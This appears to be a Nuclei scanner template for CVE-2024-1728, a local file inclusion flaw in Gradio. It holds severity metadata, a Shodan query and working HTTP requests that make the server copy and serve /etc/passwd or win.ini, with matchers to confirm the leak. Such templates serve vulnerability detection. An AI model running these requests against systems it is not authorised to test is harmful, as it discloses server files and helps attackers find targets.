id: CVE-2024-1728 info: name: Local File Inclusion in Gradio author: isacaya severity: high description: | Improper validation of user-supplied input in the UploadButton component leads to an LFI vulnerability. impact: | An attacker would be able to view the contents of a file on the computer. remediation: | Update to version 4.19.2. reference: - https://nvd.nist.gov/vuln/detail/CVE-2024-1728 - https://github.com/gradio-app/gradio/commit/16fbe9cd0cffa9f2a824a0165beb43446114eec7 - https://huntr.com/bounties/9bb33b71-7995-425d-91cc-2c2a2f2a068a classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2024-1728 metadata: vendor: Gradio product: Gradio shodan-query: title:"Gradio" tags: cve,cve2024,lfi,Gradio,traversal http: - raw: - | POST /queue/join? HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"data":[[{"path":"{{path}}","url":"{{BaseURL}}/file=/help","orig_name":"CHANGELOG.md","size":3549, "mime_type":"text/markdown"}]],"event_data":null,"fn_index":0,"trigger_id":2,"session_hash":"{{randstr}}"} - | GET /queue/data?session_hash={{randstr}} HTTP/1.1 Host: {{Hostname}} - | GET /file=§extracted_path§ HTTP/1.1 Host: {{Hostname}} extractors: - type: regex internal: true regex: - "C:.*\\win\\.ini" - "/tmp/gradio/.*/passwd" name: extracted_path stop-at-first-match: true matchers-condition: or matchers: - type: dsl dsl: - "regex('root:.*:0:0:', body)" - "status_code == 200" condition: and - type: dsl dsl: - "contains(body, 'bit app support')" - "contains(body, 'fonts')" - "contains(body, 'extensions')" - "status_code == 200" condition: and payloads: path: - /etc/passwd - /windows/win.ini